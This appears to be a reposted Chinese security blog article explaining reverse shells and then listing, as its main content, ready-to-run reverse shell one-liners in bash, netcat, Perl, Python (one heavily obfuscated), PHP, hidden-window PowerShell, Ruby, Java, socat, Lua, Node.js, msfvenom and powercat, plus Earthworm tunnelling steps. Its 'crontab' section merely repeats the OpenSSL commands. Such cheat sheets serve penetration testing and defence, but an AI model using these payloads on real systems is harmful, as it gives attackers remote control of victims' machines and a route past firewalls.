反弹Shell大全与原理
2023-4-24 00:2:1 Author: LemonSec(查看原文) 阅读量:90 收藏

什么是反弹shell

reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。


为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。

  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。

  3. 对方的ip会动态改变,你不能持续控制。

  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到webshell后一般我们会反弹shell。

反弹shell原理

A主机开启9090端口的tcp服务B主机连接到A主机的9090的tcp服务A主机通过tcp服务把命令发到B主机B主机读取命令并且在bash中执行B主机把执行结果发给A主机
这样就可以在A主机中'操控'B主机了

反弹shell操作步骤

在本机开启并监听端口在需要被控制的机器上执行反弹shell命令在本机监听反弹shell的端口

反弹shell大全

Bash反弹shell

/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

Bash反弹shell TCP

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

Bash反弹shell UDP

Victim:sh -i >& /dev/udp/127.0.0.1/4242 0>&1
Listener:nc -u -lvp 4242

NC反弹shell

mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12388 >/tmp/f

perl反弹shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows onlyperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python反弹shell

Linux

// 方法一$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
// 方法二$ export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Windows Python反弹shell

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Ncat反弹shell

ncat 127.0.0.1 4444 -e /bin/bashncat --udp 127.0.0.1 4444 -e /bin/bash

OpenSSL反弹shell

[email protected]$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes[email protected]$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242or[email protected]$ ncat --ssl -vv -l -p 4242
[email protected]$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s

crontab反弹shell

[email protected]$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes[email protected]$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242or[email protected]$ ncat --ssl -vv -l -p 4242
[email protected]$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s

PHP反弹shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Powershell反弹shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的反弹shellruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目标系统运行Windows反弹shellruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Java反弹shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

socat反弹shell

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555

Lua反弹shell

Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windowslua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Telnet反弹shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

获取反弹shell后,可使用python获得交互式shell

python -c'import pty; pty.spawn("/bin/bash")' python -c ''' import pty while(1):     try:         pty.spawn("/bin/bash")     except :         contiune'''

Nodejs反弹shell

(function(){    var net = require("net"),        cp = require("child_process"),        sh = cp.spawn("/bin/sh", []);    var client = new net.Socket();    client.connect(8080, "10.17.26.64", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);    });    return /a/; // Prevents the Node.js application form crashing})();

or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
or
-var x = global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

C反弹shell

$ gcc c_revese_shell.c -o cshell$ ./cshell 192.168.1.128 8080

UDP反弹shell

// 注意这里务必要用udp的模式来接$ nc -l -p 53 -u$ python udpshell.py 192.168.1.128 53 udp

MSF生成反弹shell

metasploit 是一个非常强大的渗透工具箱,当然也包括了反弹语句的生成与接收反弹shell的平台。它也能生成反弹shell一句话

msf > msfvenom -l payloads 'cmd/unix/reverse' | grep unix

msfvenom 有点类似于生成的语句,当然这个工具还可以用来生成shellcode之类的。-l 是查找所有的pyaloads。cmd/unix/reverse 是关键词过滤。为了找到攻击debain的语句,就加了个正则。

生成bash反弹shell

## 首先查看命令的参数msf > msfvenom -p cmd/unix/reverse_netcat --list-options>> LPORT >> LHOSTmsfvenom -p cmd/unix/reverse_bash lhost=192.168.79.127 lport=5555

WIndows反弹shell补充

除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然还有vbs(2003以下的系统),所以Windows反弹shell还是非常重要的技能。

// 可能是因为cmd默认的字符集[gbk]所以才会乱码,如果是英文系统就不会了$ powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}"

powercat反弹shell,其实就是powershell版的netcat

PS C:\> Set-ExecutionPolicy UnrestrictedPS C:\> cd .\powercatPS C:\powercat> Import-Module .\powercat.ps1PS C:\powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1C:\>nc -lvp 8080

然后,把payload.ps1丢到目标机器上去执行

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

扩展

  • https://github.com/lukechilds/reverse-shell

  • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

ew(Earthworm)网络穿透工具反弹Shell

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,亦可用于反弹Shell等。属于Hacking Tools

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内

Earthworm下载

http://rootkiter.com/EarthWorm

Earthworm使用

上传ew.exe 然后在本地执行:ew.exe -s rcsocks -l 1008 -e 888 说明:监听888端口,把接收到的数据转到本地的1008端口。

在目标上执行ew.exe -s rssocks -d 10.10.10.10 -e 888 说明:开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后,本地会出现rssocks cmd_socket ok!

现在打开我们的SocksCap64,新建一个代理。ip为127.0.0.1端口为1008,配置好了以后,点击保存。现在我们把需要走代理的工具都放到SocksCap64里面。

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247545689&idx=2&sn=c2e6117e54c1ef6317bf2af8c9ab931f&chksm=f9e35c02ce94d514c7a3407a06d96b9da0072fa42abfd2e1c02382661a7cf90b0405e538b65f#rd
如有侵权请联系:admin#unsafe.sh